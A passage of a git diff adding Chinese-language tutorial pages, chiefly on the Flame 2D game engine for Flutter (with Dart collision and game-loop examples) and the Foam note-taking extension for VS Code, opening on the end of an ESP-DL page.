芯片绑定 | **乐鑫 ESP 专用** | 跨 MCU 通用 | +| 模型格式 | `.espdl`(FlatBuffers) | `.tflite` | +| 量化工具 | ESP-PPQ | TFLite Converter / PTQ 脚本 | +| ESP-IDF 集成 | 原生组件 `espressif/esp-dl` | 常用 `esp-tflite-micro` + ESP-NN | +| 调试 API | 内置 test / profile | 需自行计时、无 golden test | +| 适合谁 | 已选 ESP32 系列、想用官方 Model Zoo | 已有 TFLite 模型、或多平台复用 | + +两者可以共存于不同项目,但**同一产品通常只选一条栈**,避免维护双份量化流程。 + +## 常见问题 + +**Q:加载失败 / 算子不支持?** +对照 operator 支持表;用 Netron 打开 ONNX 和 `.espdl` 对比算子名;opset 建议 18。 + +**Q:`test()` 失败?** +确认导出时 `export_test_values=True`;INT16 模型允许 ±1 量化误差;检查输入预处理是否与校准一致。 + +**Q:推理慢 / RAM 爆?** +调 `max_internal_size` 和 `param_copy`;`profile(true)` 找最慢层;大图模型用 PSRAM 芯片(ESP32-S3 N8R8 等)。 + +**Q:每次改代码都要烧完整固件?** +大模型用 **partition** 或 **SD 卡** 加载;开发时用 `idf.py app-flash`。 + +**Q:v2 模型能用在 v3 吗?** +ESP-DL v3 与 v2 **不兼容**;v3.1 之后 schema 有更新,旧 `.espdl` 需重新量化导出。 + +## 学习路径(零基础) + +1. 装好 **ESP-IDF v5.3+** 与 USB 驱动,跑通 `idf.py build flash monitor` +2. 用 Component Registry 添加 `espressif/esp-dl`,编译官方 **examples/** 里最简单例程 +3. 在 PC 安装 `esp-ppq`,跟 [how_to_deploy_mobilenetv2](https://docs.espressif.com/projects/esp-dl/en/latest/tutorials/how_to_deploy_mobilenetv2.html) 走一遍量化 +4. 对自己模型:`test()` 通过后再调 `profile()`,迭代 `max_internal_size` +5. 需要检测/分类成品:优先翻 **Model Zoo**,改输入源(摄像头 / 麦克风)而非从零训练 + +## 参考链接 + +- 仓库: +- 文档: +- 组件注册表: +- 算子支持表: +- ESP-PPQ: diff --git a/src/content/docs/projects/flame.md b/src/content/docs/projects/flame.md new file mode 100644 index 000000000..5c149bea2 --- /dev/null +++ b/src/content/docs/projects/flame.md @@ -0,0 +1,411 @@ +--- +title: Flame — Flutter 上的 2D 游戏引擎 +来源: flame-engine/flame +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +难度: 中级 +provenance: pipeline-v3 +--- + +## 日常类比:Flame 是「Flutter 游乐园里的游乐设施调度中心」 + +你已经会用 Flutter 搭界面——按钮、列表、路由都像商场里的固定店铺,顾客点哪开哪。 +但**游戏**不一样:角色要每帧移动、子弹要实时碰撞、敌人要定时刷新,整栋楼得有一个**中央调度台**不停喊「下一帧开始了,各就各位」。 + +**Flame** 就是这个调度台。它跑在 Flutter 之上,提供游戏循环、组件树、碰撞检测、输入、粒子、音效等 2D 游戏专用能力。日常类比: + +- **Flutter `Widget` 树** → 商场装修图纸,改一次要整页重画 +- **Flame `Component` 树** → 游乐园里的设施清单,每个设施自己更新位置、自己画自己 +- **`GameWidget`** → 把游乐园嵌进 Flutter App 的那块地 +- **`FlameGame`** → 调度中心主任,掌管 tick 时钟和全场组件 + +你仍然用 Dart 写逻辑、仍然能热重载、仍然能打包 iOS / Android / Web / Desktop——只是从「做 App」切换成「做游戏」。 + +| 维度 | 数据 | +|---|---| +| GitHub | [flame-engine/flame](https://github.com/flame-engine/flame) | +| 文档 | [docs.flame-engine.org](https://docs.flame-engine.org/) | +| 协议 | MIT | +| 语言 | Dart(依赖 Flutter SDK) | +| 定位 | 轻量 2D 游戏引擎,不是 3D 引擎 | +| 生态 | `flame_audio`、`flame_tiled`、`flame_forge2d`(物理)、`flame_riverpod` 等 Bridge 包 | + +--- + +## 解决什么问题:Flutter 默认不管「实时游戏」 + +Flutter 的强项是**声明式 UI**:`build()` 根据状态描述界面,框架负责 diff 和重绘。这对表单、信息流、仪表盘很合适,但对游戏有三个硬伤: + +1. **没有稳定的高频游戏循环** + 游戏需要以固定节奏(通常 60fps)反复执行「算物理 → 改坐标 → 画画面」。Flutter 的 `AnimationController` 能驱动局部动画,却不会像引擎那样统一管理全局 tick。 + +2. **没有面向游戏的对象模型** + Widget 不可变、重建成本高;游戏里却有几十上百个会动、会死、会碰撞的实体。每个实体都需要 `update(dt)` 和 `render(canvas)`,而不是 `setState()`。 + +3. **缺少碰撞、精灵、相机、粒子等游戏原语** + 自己用 `CustomPainter` + 定时器也能拼,但 Hitbox 管理、碰撞回调、精灵表动画、世界坐标与相机变换,全是重复劳动。 + +Flame 把这些抽成 **Flame Component System(FCS)**: + +- `FlameGame` 持有一棵 Component 树,每帧遍历调用 `update` / `render` +- `SpriteComponent`、`PositionComponent`、`TextComponent` 等开箱即用 +- `HasCollisionDetection` + `CollisionCallbacks` 提供 Hitbox 与碰撞事件 +- `CameraComponent` / `World` 分离「游戏世界」与「镜头」 +- 可与 Flutter `Overlay` 混用——游戏里打怪,菜单用 Material 按钮 + +一句话:**Flutter 给你跨平台画布,Flame 在上面铺游戏跑道。** + +--- + +## 核心概念 + +### 1. Component — 游戏里的「自更新零件」 + +Component 是 Flame 的基本单元,类似 Flutter 的 Widget,但语义不同: + +| 对比 | Flutter Widget | Flame Component | +|---|---|---| +| 生命周期 | `build()` 描述 UI | `onLoad()` 异步加载资源 | +| 每帧行为 | 被动等框架重建 | 主动 `update(dt)` 改状态 | +| 绘制 | RenderObject 管线 | `render(canvas)` 或子类自带绘制 | +| 组合 | `child:` 嵌套 | `add(child)` 挂到树上 | + +常见子类: + +- `SpriteComponent` — 贴图精灵 +- `PositionComponent` — 带位置、尺寸、旋转的容器 +- `TextComponent` — 游戏内文字(分数、提示) +- `World` — 游戏世界容器,默认挂在 `FlameGame.world` +- `CameraComponent` — 镜头,决定「看世界的哪个角落」 + +组件通过 `add()` / `remove()` 动态进出场景。`onLoad()` 里适合 `await loadSprite()`、`add(CircleHitbox())` 等一次性初始化——类比演员上台前化妆,而不是每帧重画。 + +优先级 `priority` 控制绘制顺序:数值大的后画,压在下面。 + +### 2. GameLoop — 驱动一切的 tick 时钟 + +游戏循环是两步交替: + +``` +update(dt) → 根据上一帧经过的秒数 dt 推进逻辑(移动、计时、AI) +render() → 把当前状态画到 Canvas +``` + +`dt`(delta time)至关重要:位移应写成 `position += velocity * dt`,这样 30fps 和 120fps 设备上角色速度一致——和 LÖVE、Unity 同一道理。 + +Flame 的 `GameLoop` 模块抽象了上述循环,所有 `Game` 实现都依赖它。`FlameGame` 每 tick 会: + +1. 调 `updateTree(dt)` — 递归更新所有 mounted 组件 +2. 调 `renderTree(canvas)` — 按 priority 递归绘制 + +生命周期顺序(简化): + +``` +onGameResize → onLoad → onMount → (update → render)* → onRemove +``` + +`GameWidget(game: myGame)` 把 `FlameGame` 嵌进 Flutter 树。注意:**不要在 `build()` 里每次 `new FlameGame()`**,应缓存实例或用 `GameWidget.controlled`,否则热重载/重建会丢游戏状态。 + +### 3. 碰撞检测 — Hitbox + 回调,不管「碰撞后发生什么」 + +几乎所有游戏都要回答:「这两个物体重叠了吗?」没有碰撞检测,玩家穿墙、子弹打不中、金币捡不到。 + +Flame 的做法: + +1. 在 `FlameGame` 上混入 `HasCollisionDetection` — 引擎维护可碰撞组件列表 +2. 在实体上 `add(RectangleHitbox())` / `CircleHitbox()` / `PolygonHitbox()` — 定义物理边界 +3. 在实体上混入 `CollisionCallbacks` — 接收 `onCollisionStart` / `onCollision` / `onCollisionEnd` + +要点: + +- **可见 ≠ 可碰撞**:贴了图还要加 Hitbox,引擎才知道边界在哪 +- **检测与响应分离**:Flame 只告诉你「谁碰了谁」,扣血、反弹、销毁由你在回调里写 +- **每帧扫描**:碰撞在 `update` 阶段检测;用 `onCollisionStart` 可避免重叠期间每帧重复触发 Game Over +- **大量物体**:可换 `HasQuadTreeCollisionDetection` 做空间划分优化 +- **屏幕边缘**:`add(ScreenHitbox())` 让物体碰边时收到回调 + +Hitbox 形状越贴合物体,检测越准,但计算越贵。平台游戏常用矩形,弹球、轨道类用圆形。 + +--- + +## 最小可运行骨架 + +`pubspec.yaml` 添加依赖后,入口通常长这样: + +```dart +import 'package:flame/game.dart'; +import 'package:flutter/material.dart'; + +void main() { + runApp( + GameWidget( + game: StarCollectorGame(), + ), + ); +} + +class StarCollectorGame extends FlameGame { + @override + Future onLoad() async { + // 加载精灵、添加玩家/敌人/相机/摇杆…… + } +} +``` + +`FlameGame` 约等于 Flutter 里的 `MaterialApp`:一切的根。子组件加在 `world`(默认 `World` 实例)或 `camera` 上,取决于要不要随镜头移动。 + +--- + +## 实践案例 + +### 案例 1:弹球碰壁 — 理解 GameLoop + Component + 碰撞 + +Google Codelab「Brick Breaker」式最小示例:球在矩形场地内弹跳,碰墙反弹,碰底销毁。 + +```dart +import 'package:flame/collisions.dart'; +import 'package:flame/components.dart'; +import 'package:flame/game.dart'; +import 'package:flutter/material.dart'; + +class BounceGame extends FlameGame with HasCollisionDetection { + @override + Future onLoad() async { + add(PlayArea()); + add(Ball(velocity: Vector2(180, -140))..position = size / 2); + } +} + +/// 场地边界——只提供碰撞形状,不负责画 +class PlayArea extends PositionComponent with CollisionCallbacks { + @override + Future onLoad() async { + size = parent!.size; + add(RectangleHitbox()); + } +} + +class Ball extends CircleComponent + with CollisionCallbacks, HasGameReference { + Ball({required this.velocity}) : super(radius: 10); + + Vector2 velocity; + + @override + Future onLoad() async { + paint = Paint()..color = const Color(0xFF1E6091); + add(CircleHitbox()); + } + + @override + void update(double dt) { + position += velocity * dt; // dt 保证各帧速度一致 + } + + @override + void onCollisionStart( + Set intersectionPoints, + PositionComponent other, + ) { + if (other is PlayArea) { + final p = intersectionPoints.first; + if (p.y <= 0 || p.y >= game.size.y) velocity.y = -velocity.y; + if (p.x <= 0 || p.x >= game.size.x) velocity.x = -velocity.x; + if (p.y >= game.size.y) removeFromParent(); // 落底出局 + } + } +} +``` + +**逐段解释**: + +- `HasCollisionDetection` 挂在 Game 上,全局开启碰撞系统 +- `Ball.update(dt)` 每帧改 `position`,这是 GameLoop 驱动的逻辑层 +- `CircleHitbox` 让圆「有实体」,否则引擎当它是幽灵 +- `onCollisionStart` 读交点坐标判断碰的是哪条边,改 `velocity` 实现反弹 +- 碰撞响应(反弹/销毁)写在你手里,Flame 只报相交 + +### 案例 2:轨道吃豆 — 定时刷怪 + 碰撞 Game Over + Flutter Overlay + +改编自社区教程「Neon Orbit」思路:玩家沿圆轨道运动,点击切换内外轨,敌人撞上即暂停并弹出 Flutter 重开按钮。 + +```dart +import 'dart:math'; +import 'package:flame/collisions.dart'; +import 'package:flame/components.dart'; +import 'package:flame/events.dart'; +import 'package:flame/game.dart'; +import 'package:flutter/material.dart'; + +class OrbitGame extends FlameGame with TapCallbacks, HasCollisionDetection { + late Player player; + double spawnTimer = 0; + + @override + Future onLoad() async { + player = Player(); + add(player); + } + + @override + void update(double dt) { + super.update(dt); + spawnTimer += dt; + if (spawnTimer > 1.2) { + spawnTimer = 0; + add(Enemy()..position = Vector2(size.x / 2, 40)); + } + } + + @override + void onTapDown(TapDownEvent event) => player.toggleOrbit(); +} + +class Player extends CircleComponent + with CollisionCallbacks, HasGameReference { + double angle = 0; + double orbitRadius = 120; + final double speed = 2.5; + + @override + Future onLoad() async { + radius = 14; + paint = Paint()..color = Colors.cyanAccent; + add(CircleHitbox()); + } + + @override + void update(double dt) { + angle += speed * dt; + position = Vector2( + game.size.x / 2 + cos(angle) * orbitRadius, + game.size.y / 2 + sin(angle) * orbitRadius, + ); + } + + void toggleOrbit() => orbitRadius = orbitRadius == 120 ? 200 : 120; + + @override + void onCollisionStart( + Set intersectionPoints, + PositionComponent other, + ) { + if (other is Enemy) { + pauseEngine(); + game.overlays.add('GameOver'); // Flutter Overlay,不是 Flame 组件 + } + } +} + +class Enemy extends CircleComponent with CollisionCallbacks { + @override + Future onLoad() async { + radius = 10; + paint = Paint()..color = Colors.orange; + add(CircleHitbox()); + } + + @override + void update(double dt) { + position.y += 80 * dt; + if (position.y > parent!.size.y + 20) removeFromParent(); + } +} +``` + +`main.dart` 里用 `GameWidget.controlled` 注册 overlay: + +```dart +GameWidget.controlled( + gameFactory: OrbitGame.new, + overlayBuilderMap: { + 'GameOver': (context, game) => Center( + child: ElevatedButton( + onPressed: () { + game.overlays.remove('GameOver'); + game.resumeEngine(); + game.children.whereType().forEach((e) => e.removeFromParent()); + }, + child: const Text('再来一局'), + ), + ), + }, +) +``` + +**要点**: + +- `update` 里用 `dt` 累加刷怪计时器——游戏逻辑的「心跳」 +- `pauseEngine()` / `resumeEngine()` 冻结 GameLoop,菜单仍可用 Flutter 画 +- `overlays` 是 Flame 与 Flutter 的桥梁:HUD、暂停页、结算页用 Widget 更合适 +- 双方都有 `CircleHitbox` 才能碰撞;`onCollisionStart` 只触发一次,避免连续扣血 + +--- + +## 生态与扩展包 + +Flame 本体保持精简,复杂能力由官方 Bridge 包补充: + +| 包 | 用途 | +|---|---| +| `flame_audio` | BGM / 音效 | +| `flame_tiled` | 读取 Tiled 编辑器导出的 `.tmx` 地图 | +| `flame_forge2d` | Box2D 刚体物理(重力、关节、复杂碰撞) | +| `flame_riverpod` / `flame_bloc` | 与常用状态管理集成 | +| `flame_spine` | Spine 骨骼动画 | + +选型建议:简单 AABB / 圆形碰撞用内置 `collision_detection` 足够;需要堆叠、弹射、绳索用 `forge2d`。 + +--- + +## 与同类方案对比 + +| 方案 | 优势 | 劣势 | +|---|---|---| +| **Flame + Flutter** | 同一技术栈做 App 内小游戏、全平台、热重载 | 包体积随 Flutter;重度 3D 不适合 | +| **Unity / Godot** | 成熟编辑器、3D、资源商店 | 与 Flutter 主工程割裂,嵌入成本高 | +| **纯 Flutter CustomPainter** | 零额外依赖 | 循环、碰撞、精灵全要自己造 | +| **LÖVE / MonoGame** | 轻、专注 2D | 不能复用 Flutter UI 与发布流水线 | + +若你已经在做 Flutter App,要在设置页塞一个小游戏、或做教育类互动关卡,Flame 几乎是最顺手的增量。 + +--- + +## 上手路径(零基础到可发布) + +1. **环境**:`flutter create my_game` → `pubspec.yaml` 加 `flame: ^1.x` +2. **第一个场景**:`GameWidget` + 空 `FlameGame`,`onLoad` 里 `add(TextComponent(text: 'Hello Flame'))` +3. **动起来**:自定义 `PositionComponent`,在 `update(dt)` 里改 `position` +4. **贴图**:`await loadSprite('player.png')` → `SpriteComponent` +5. **输入**:混入 `TapCallbacks` / `KeyboardHandler` / `JoystickComponent` +6. **碰撞**:`HasCollisionDetection` + Hitbox + `CollisionCallbacks` +7. **关卡**:`flame_tiled` 导入地图碰撞层 +8. **打磨**:`flame_audio` 音效、`ParticleSystemComponent` 粒子、`Effect` 做闪烁淡入 +9. **发布**:走正常 `flutter build apk/ios/web` 流程 + +官方资源: + +- [Flame 文档](https://docs.flame-engine.org/) +- [Google Codelab: Brick Breaker](https://codelabs.developers.google.com/codelabs/flutter-flame-brick-breaker) +- [Ember Quest 平台跳跃教程](https://docs.flame-engine.org/latest/tutorials/platformer/platformer.html) +- [examples 仓库](https://github.com/flame-engine/flame/tree/main/examples) 含碰撞、相机、粒子等可运行 demo + +--- + +## 常见坑 + +1. **在 `build()` 里创建 `FlameGame`** — 每次重建丢状态;用成员变量或 `GameWidget.controlled` +2. **忘了 `dt`** — 写 `position += velocity` 帧率越高越快 +3. **有图无 Hitbox** — 视觉上重叠,引擎不触发回调 +4. **`onCollision` 里做一次性逻辑** — 重叠期每帧触发;用 `onCollisionStart` +5. **资源路径** — 精灵放 `assets/images/`,`pubspec.yaml` 声明 `assets:`,`onLoad` 里异步加载 +6. **坐标系** — Flame 默认原点在左上,y 向下;相机 `viewfinder` 可改锚点 + +--- + +## 小结 + +Flame 把 Flutter 变成能跑实时 2D 游戏的平台:**`FlameGame` 掌管 GameLoop,`Component` 树承载可更新实体,`HasCollisionDetection` + Hitbox 解决「谁碰到谁」**。你专注玩法和手感,引擎负责 tick、绘制顺序和碰撞扫描。 + +从「会 Flutter」到「会做小游戏」,通常只差一个 `GameWidget` 和第一个 `update(dt)`。 diff --git a/src/content/docs/projects/foam.md b/src/content/docs/projects/foam.md new file mode 100644 index 000000000..3d89439f7 --- /dev/null +++ b/src/content/docs/projects/foam.md @@ -0,0 +1,330 @@ +--- +title: Foam — VS Code 上的 Roam-like 知识库 +来源: https://github.com/foambubble/foam +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:把 VS Code 变成「可搜索、可连线的个人维基」 + +如果你用过 Roam Research 或 Logseq,一定熟悉这种体验:写一句想法,用 `[[双括号]]` 链到另一张卡片;第二天打开笔记,侧边栏自动告诉你「还有哪些页面提到了这个概念」——像在一本永远写不完、但每页都互相引用的活字典里工作。 + +**Foam 就是把这套体验搬进 Visual Studio Code。** 它不另起一个独立 App,而是在你本来写代码、改配置的那个编辑器里,用 **Markdown 文件 + Wikilink + 反向链接 + 关系图谱** 搭一座「数字花园」。官方说得很直白:Foam 像浴缸——**你往里放什么,就得到什么**;工具只提供连接与发现,知识结构仍由你维护。 + +与 Roam 的云端块编辑器不同,Foam 的笔记是 **本地 `.md` 纯文本**,默认落在 Git 仓库里,版本、备份、协作都沿用开发者熟悉的流程。Foam 本体是 VS Code 扩展 [foam.foam-vscode](https://marketplace.visualstudio.com/items?itemName=foam.foam-vscode),再搭配 Markdown All in One、Prettier 等推荐扩展,形成一套可扩展的 PKM(个人知识管理)栈。仓库 [foambubble/foam](https://github.com/foambubble/foam) 约 1.7 万 star,文档站 [foambubble.github.io/foam](https://foambubble.github.io/foam/) 与 [docs.foamnotes.com](https://docs.foamnotes.com) 持续更新。 + +零基础路径:**用 foam-template 建仓库 → 在 VS Code 打开 → 安装推荐扩展 → 写第一篇带 `[[wikilink]]` 的笔记 → 打开 Daily Note 与 Graph → 按需定制模板与设置**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:已经在 VS Code 里工作,却还要切到另一款笔记软件 + +许多开发者每天泡在 VS Code:Git、终端、LSP、主题、快捷键都已肌肉记忆。Foam 让你 **在同一窗口里写笔记**,不必在 Obsidian / Notion / Roam 之间来回切换,也避免「代码在 A 工具、思考在 B 工具」的上下文断裂。 + +### 痛点 2:想要 Roam 式网状思考,但不想被 SaaS 绑住 + +Roam 的双向链接与每日日志很强,但订阅与数据托管是顾虑。Foam **开源免费**,笔记就是文件夹里的 Markdown,**你拥有全部数据**,可私有 Git 仓库,也可发布到 GitHub Pages / Gatsby / Vercel。 + +### 痛点 3:普通 Markdown 缺少「知识库级」导航 + +标准 Markdown 链接 `[text](file.md)` 能跳转,但不会自动维护 **反向链接(Backlinks)**、**占位链接(尚未创建的 `[[概念]]`)**、**图谱视图**。Foam 在 VS Code 里补这一层语义,让笔记从「文档集合」变成 **可探索的图**。 + +### 痛点 4:日记、模板、重复结构太费手工 + +Foam 内置 **Daily Note**(`Alt+D`)、**日期片段**(`/today`、`/+1w`)、**可编程模板**(`.foam/templates/`),新建文献笔记、会议记录、项目页时可以一键套用骨架,减少重复 YAML 和标题格式。 + +--- + +## 核心概念拆解 + +### 1. Foam 工作区(Workspace) + +Foam 工作区 **就是一个包含 `.md` 文件的文件夹**(通常也是 Git 仓库)。配置在 `.vscode/settings.json` 与 `.foam/` 目录下;笔记、图片、模板、日志分目录存放即可。官方建议 **单一统一知识库**,多工作区模式已趋于弃用——复杂结构用文件夹链接模拟即可。 + +推荐起步方式:在 GitHub 用 [foam-template](https://github.com/foambubble/foam-template/generate) 生成仓库 → clone → VS Code **Open Folder** → 提示安装 **Recommended Extensions** 时点 **Install All**。 + +### 2. Wikilink(`[[双括号链接]]`) + +Wikilink 是 Foam 的脊梁: + +- 输入 `[[` 触发 **自动补全**,`Tab` 选中,`Ctrl+Click` / `F12` 跳转。 +- 目标文件不存在时,链到 **Placeholder**,样式不同,便于在图谱里规划尚未撰写的概念。 +- **别名**:`[[真实文件名|显示文字]]`。 +- **章节**:`[[note-name#Section Title]]`。 +- **块锚点**:在段落末加 `^block-id`,别处用 `[[note#^block-id]]` 精确定位(类似 Roam 的 block reference)。 +- **嵌入**:`![[other-note]]` 把另一篇笔记内容嵌进当前页。 + +重命名或移动文件时,Foam 默认 **同步更新** 所有指向它的 wikilink(`foam.links.sync.enable`);普通 Markdown 链接可配合 VS Code 的 `markdown.updateLinksOnFileMove.enabled`。 + +### 3. 反向链接(Backlinks) + +当你打开任意笔记,Foam 会在侧边栏列出 **哪些其他笔记链接到了当前页**。这是 Roam-like 体验的另一半:不只「我从 A 链到 B」,还要看见 **「谁链回了我」**。写综述、发现意外关联、清理孤儿笔记时,Backlinks 比全文搜索更贴近「关系」而非「关键词」。 + +### 4. 图谱可视化(Graph) + +命令面板执行 **Foam: Show Graph**,以节点边形式展示 wikilink 网络。Placeholder 也会出现在图中,帮你看见「计划中但未写」的概念簇。适合检查孤岛笔记、发现过度中心化的 hub、或给 Zettelkasten 做结构体检。 + +### 5. Daily Note 与日期片段 + +- **Foam: Open Daily Note** 或快捷键 **`Alt+D`**:创建/打开当天日记,默认路径 `journals/yyyy-mm-dd.md`。 +- 任意笔记里输入 **`/today`**、**`/yesterday`**、**`/tomorrow`**、**`/+1d`**、**`/-3d`**、**`/+1w`** 等片段,可插入指向对应日期的 wikilink。 +- 设置 `"foam.openDailyNote.onStartup": true` 可在启动 VS Code 时自动打开今日页。 + +日记结构由 **`.foam/templates/daily-note.md`** 定义,而非零散 deprecated 设置项。 + +### 6. 模板(Templates) + +模板放在 `.foam/templates/`,支持 Markdown 与 JavaScript(`.js`)两种。常用变量包括: + +| 变量 | 含义 | +|------|------| +| `$FOAM_TITLE` | 新建笔记标题(会提示输入) | +| `$FOAM_TITLE_SAFE` | 文件系统安全文件名 | +| `$FOAM_SELECTED_TEXT` | 选中文本(可替换为新笔记的 wikilink) | +| `$FOAM_DATE_YEAR` / `$FOAM_DATE_MONTH` / `$FOAM_DATE_DATE` | 日期分量,Daily Note 与相对日期片段会填入 **相对日** 而非仅「今天」 | + +命令 **Foam: Create New Note from Template** 与选区、模板变量组合,是批量造 Zettel 卡片的高效路径。 + +### 7. Link Reference Definitions(与 GitHub 兼容) + +纯 `[[wikilink]]` 在 GitHub 网页预览里不可点击。Foam 可生成文件底部的 **链接引用定义**,把 wikilink 转成标准 Markdown 链接块,便于 **GitHub UI / GitHub Pages** 导航。在纯 Foam 工作区里可关闭;要发布时再启用 **Generate references** 类工作流。 + +### 8. Foam CLI 与周边工具 + +[Foam CLI](https://github.com/foambubble/foam/tree/main/packages/foam-cli) 支持终端侧 `search`、`list`、`daily`、`lint` 等,适合脚本化备份检查、CI 里扫描断链。VS Code 内还有 **Foam: Open Random Note**、Janitor、Orphaned Notes 等维护向能力。 + +### 9. Foam 不是什么 + +社区常强调:Foam **不是**一个 monolithic 闭源产品,而是 **「VS Code + 一组精选扩展 + 约定目录结构」** 的策展方案。你仍可装 Prettier、Mermaid、GitLens、Copilot——写作与工程工具链可完全共享。 + +--- + +## 安装与第一次打开 + +### 方式 A:foam-template(推荐) + +1. GitHub 登录 → [从 foam-template 生成新仓库](https://github.com/foambubble/foam-template/generate)(私有库可选)。 +2. 本地 clone 并在 VS Code 打开文件夹。 +3. 安装推荐扩展(含 **Foam** 本体)。 +4. 命令面板 `Foam: Show Graph` 或 `Alt+D` 验证扩展已激活。 + +### 方式 B:空文件夹手工初始化 + +1. 新建目录,`File → Open Folder`。 +2. 安装扩展 **Foam**(`foam.foam-vscode`)。 +3. 创建 `.vscode/extensions.json` 推荐 Markdown 相关扩展(可参考 foam-template)。 +4. 新建 `README.md` 与任意 `.md` 笔记即可开始 wikilink。 + +--- + +## 代码示例 1:一篇用 Wikilink 织成的「原子笔记」 + +下面模拟 Zettelkasten 里的一张永久笔记:只讲一个主张,并用链接指向相关概念与来源。保存为 `notes/202606131030-spaced-repetition-vs-graph.md`: + +```markdown +--- +type: permanent-note +tags: [learning, pkm] +--- + +# 间隔重复与知识图谱解决不同问题 + +间隔重复(Spaced Repetition)优化的是 **记忆保持**;图谱笔记(如 Foam)优化的是 **关系发现**。 +二者互补:前者适合闪卡与事实,后者适合 hypothesis 与项目脉络。 + +## 关联 + +- 上游方法:[[Zettelkasten]]、[[Building a Second Brain]] +- 工具对比:[[Foam]] vs [[Obsidian]] — 我在 [[VS Code]] 里已常驻开发环境,故选 Foam 降低切换成本 +- 待写占位:[[如何将 Anki 导出卡片链回 Foam 文献笔记]] + +## 来源 + +- 阅读 [[book-make-it-stick-2014]] 第 2 章摘要 ^claim-different-problems + +其他笔记可块引用:[[202606131030-spaced-repetition-vs-graph#^claim-different-problems]] +``` + +**阅读要点:** + +- `[[尚未存在的页面]]` 会显示为 placeholder,点击可创建。 +- `^claim-different-problems` 是块锚点,别处用 `#^...` 精确引用该段。 +- Front matter 的 `tags` 可配合搜索;Foam 也支持正文 `#tag`。 +- 打开本篇时,Backlinks 面板会显示所有链入此文件的页面。 + +--- + +## 代码示例 2:Daily Note 模板 + 工作区设置 + +### `.foam/templates/daily-note.md` + +自定义日记路径与版式(示例:按年月分文件夹): + +```markdown +--- +type: daily-note +foam_template: + name: Daily Note + description: 每日捕获 inbox + filepath: journals/$FOAM_DATE_YEAR/$FOAM_DATE_MONTH-$FOAM_DATE_DATE.md +--- + +# $FOAM_DATE_YEAR-$FOAM_DATE_MONTH-$FOAM_DATE_DATE + +## 今日焦点 + +- [ ] + +## 日志 + +- + +## 链到近期 + +- 昨天:用片段 `/yesterday` 插入 wikilink +- 下周回顾:`/+1w` + +## 随机漫游 + + +``` + +### `.vscode/settings.json` 片段 + +```json +{ + "foam.openDailyNote.onStartup": false, + "foam.links.sync.enable": true, + "foam.links.directory.mode": "withIndex", + "markdown.updateLinksOnFileMove.enabled": "always", + "[markdown]": { + "editor.wordWrap": "on", + "editor.quickSuggestions": { + "other": true, + "comments": false, + "strings": true + } + } +} +``` + +**说明:** + +- `filepath` 中的 `$FOAM_DATE_*` 在创建 **相对日期** 笔记(如 `/tomorrow`)时会用 **目标日期** 填充,而非总是今天。 +- `foam.links.directory.mode` 控制 `[[文件夹名]]` 是否解析到 `index.md` / `README.md`。 +- 启动自动日记按个人习惯开启;很多人更偏好手动 `Alt+D`。 + +--- + +## 代码示例 3:为 GitHub Pages 生成链接引用(可选) + +发布前若希望 **纯 Markdown 渲染器** 也能点击 wikilink,可在笔记底部保留 Foam 生成的 reference 块(或通过命令批量生成): + +```markdown +# 项目索引 + +本周工作流:[[daily-notes]] → [[graph-visualization]] → 输出到 [[publishing-github-pages]]。 + +## 相关 + +- [[foam-template]] 提供初始目录结构 +- [[wikilinks]] 语法见官方文档 + +[//begin]: # "Autogenerated link references for markdown compatibility" +[daily-notes]: ../features/daily-notes.md "Daily Notes" +[graph-visualization]: ../features/graph-visualization.md "Graph Visualization" +[publishing-github-pages]: ../publishing/github-pages.md "GitHub Pages" +[foam-template]: https://github.com/foambubble/foam-template "foam-template" +[wikilinks]: ../features/wikilinks.md "Wikilinks" +[//end]: # "Autogenerated link references" +``` + +在 Foam 工作区内仍以 `[[...]]` 编辑;引用块让 GitHub / 静态站生成器获得可解析的 `[text](url)` 目标。 + +--- + +## 常用命令与快捷键 + +| 操作 | 方式 | +|------|------| +| 打开今日日记 | `Alt+D` 或 **Foam: Open Daily Note** | +| 新建笔记 | **Foam: Create New Note** / 从模板创建 | +| 显示关系图 | **Foam: Show Graph** | +| 随机漫游 | **Foam: Open Random Note** | +| 跳转 wikilink | `Ctrl+Click` / `F12` | +| 块内批量加链 | 选中词 → `Ctrl+Shift+L` 多选 → 包 `[[]]`(foam-template 文档技巧) | +| 命令面板 | `Ctrl+Shift+P` / `Cmd+Shift+P` | + +--- + +## 与 Roam / Obsidian / Logseq 怎么选 + +| 维度 | Foam | Roam | Obsidian / Logseq | +|------|------|------|-------------------| +| 载体 | VS Code 扩展 | 独立 Web/App | 独立 App | +| 数据 | 本地 `.md` + Git | 云端块模型 | 本地 `.md` 为主 | +| 双向链接 | ✅ Wikilink + Backlinks | ✅ 块级引用 | ✅ | +| 图谱 | ✅ | ✅ | ✅ | +| 定制 | VS Code 扩展生态 | 插件有限 | 插件丰富 | +| 适合谁 | 已在 VS Code 的开发者 | 深度 Roam 工作流用户 | 想要专用 PKM UI 的用户 | + +若你 **写代码和写笔记希望同一套编辑器、同一套 Git 习惯**,Foam 的边际成本最低;若重视 **块级大纲编辑、移动端同步、开箱 UI**,专用 PKM 可能更顺手——也可 Markdown 互通,避免锁死。 + +--- + +## 组织方法论(Foam 不强制) + +Foam 对 PARA、Zettelkasten、MOC(Map of Content)都中立。常见做法: + +- **Inbox / Daily**:日记里捕获,再提炼到永久笔记。 +- **Literature notes**:`book-author-year.md` 存读后摘要,连到 **permanent notes**。 +- **Index / MOC**:`index-topic.md` 只做链接 hub,不写长文。 +- **Projects**:文件夹 + `[[项目名]]` hub,与 PARA 的 Projects 对齐。 + +关键是 **一笔记一意**(原子化)与 **链接优于文件夹分类**(文件夹仍可用于粗粒度归档)。 + +--- + +## 发布与协作 + +笔记既可在私有仓库,也可: + +- 用 **GitHub Pages** 发布静态站(foam-template 含示例 workflow)。 +- 用 **Gatsby**、**Vercel** 等生成站点(官方 Recipes 有社区方案)。 +- 团队通过 **Pull Request** 协作改 wiki——这是「开发者友好 PKM」的差异化能力。 + +--- + +## 常见问题 + +**Q:Foam 和「只装 Markdown All in One」有何区别?** +A:后者不提供 wikilink 图谱、backlinks、daily note 模板、placeholder 语义与 Foam 命令;Foam 是面向 **知识网络** 的一层,而非语法高亮。 + +**Q:已有 Obsidian 库能迁吗?** +A:可以。Obsidian 的 `[[wikilink]]` 与 `.md` 文件 largely 兼容;需检查 **块 ID 语法**、**附件路径**、**YAML 插件字段** 差异,并在 VS Code 里重装推荐扩展。 